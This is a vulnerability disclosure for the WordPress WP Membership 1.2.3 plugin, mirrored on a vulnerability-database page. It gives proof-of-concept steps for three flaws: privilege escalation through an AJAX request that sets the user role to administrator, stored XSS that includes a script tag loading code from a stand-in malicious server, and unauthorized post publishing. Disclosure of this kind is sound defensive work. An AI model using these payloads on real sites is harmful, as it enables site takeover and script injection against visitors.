Lucene search
+L

WordPress Plugin WP Membership 1.2.3 - Multiple Vulnerabilities

🗓️ 21 May 2015 00:00:00Reported by Panagiotis VagenasType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

WordPress Plugin WP Membership 1.2.3 has Privilege Escalation, Stored XSS, and Unauthorized Post Publish vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress WP Membership Plugin 1.2.3 Privilege Escalation Vulnerability
23 May 201500:00
zdt
CNVD
WordPress WP Membership Plugin Security Bypass Vulnerability
26 May 201500:00
cnvd
CVE
CVE-2015-4038
3 Jun 201520:00
cve
CVE
CVE-2015-4039
6 Jan 202018:40
cve
Cvelist
CVE-2015-4038
3 Jun 201520:00
cvelist
Cvelist
CVE-2015-4039
6 Jan 202018:40
cvelist
EUVD
EUVD-2015-4067
7 Oct 202500:30
euvd
NVD
CVE-2015-4038
3 Jun 201520:59
nvd
NVD
CVE-2015-4039
6 Jan 202019:15
nvd
Packet Storm
WordPress WP Membership 1.2.3 Cross Site Scripting
22 May 201500:00
packetstorm
Rows per page
# Exploit Title: WordPress WP Membership plugin [Multiple Vulnerabilities]
# Date: 2015/05/19
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://wpmembership.e-plugins.com/
# Software Link: http://codecanyon.net/item/wp-membership/10066554
# Version: 1.2.3
# Tested on: WordPress 4.2.2
# Category: webapps

========================================
* 1. Privilege escalation
  ========================================

1.1 Description

Any registered user can perform a privilege escalation through
`iv_membership_update_user_settings` AJAX action.
Although this exploit can be used to modify other plugin related data
(eg payment status and expiry date), privilege escalation can lead to a
serious incident because the malicious user can take administrative role
to the infected website.

1.2 Proof of Concept

* Login as regular user
* Sent a POST request to `http://example.com/wp-admin/admin-ajax.php`
with data:
`action=iv_membership_update_user_settings&form_data=user_id%3D<yourUserID>%26user_role%3Dadministrator`


1.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

1.4 Solution

No official solution yet exists.

========================================
* 2. Stored XSS
========================================

2.1 Description

All input fields from registered users aren't properly escaped. This
could lead to an XSS attack that could possibly affect all visitors of
the website, including administators.

2.2 Proof of Concept

* Login as regular user
* Update any field of your profile appending at the end
     `<script>alert('XSS');</script>`
     or
     `<script src=”http://malicious .server/my_malicious_script.js”/>`

2.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

2.4 Solution

No official solution yet exists.

========================================
* 3. Unauthorized post publish and stored XSS
  ========================================

3.1 Description

Registered users can publish a post without administrator confirmation.
Normally all posts submitted  by users registered with WP Membership
plugin are stored with the status `pending`. A malicious user though can
publish his post by crafting the form is used for submission.

3.2 Proof of Concept

* Login as regular user
  whom belongs to a group that can submit new posts
* Visit the `New Post` section at your profile
* Change field `post_status`:
     <select id="post_status" class="form-control" name="post_status">
         <option value="publish" selected=”selected”>Pending
Review</option>
         <option value="draft">Draft</option>
     </select>

The post gets immediately published after you submit the form and is
visible to all visitors of the website.

In addition a stored XSS attack can be performed due to insufficient
escaping of the post content input.

3.3 Actions taken after discovery

Vendor was informed on 2015/05/19.

3.4 Solution

No official solution yet exists.

3.5 Workaround

Prevent users from submitting new posts through the relative option in
plugin's settings

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 May 2015 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 26.5
CVSS 3.15.4
EPSS0.08311
30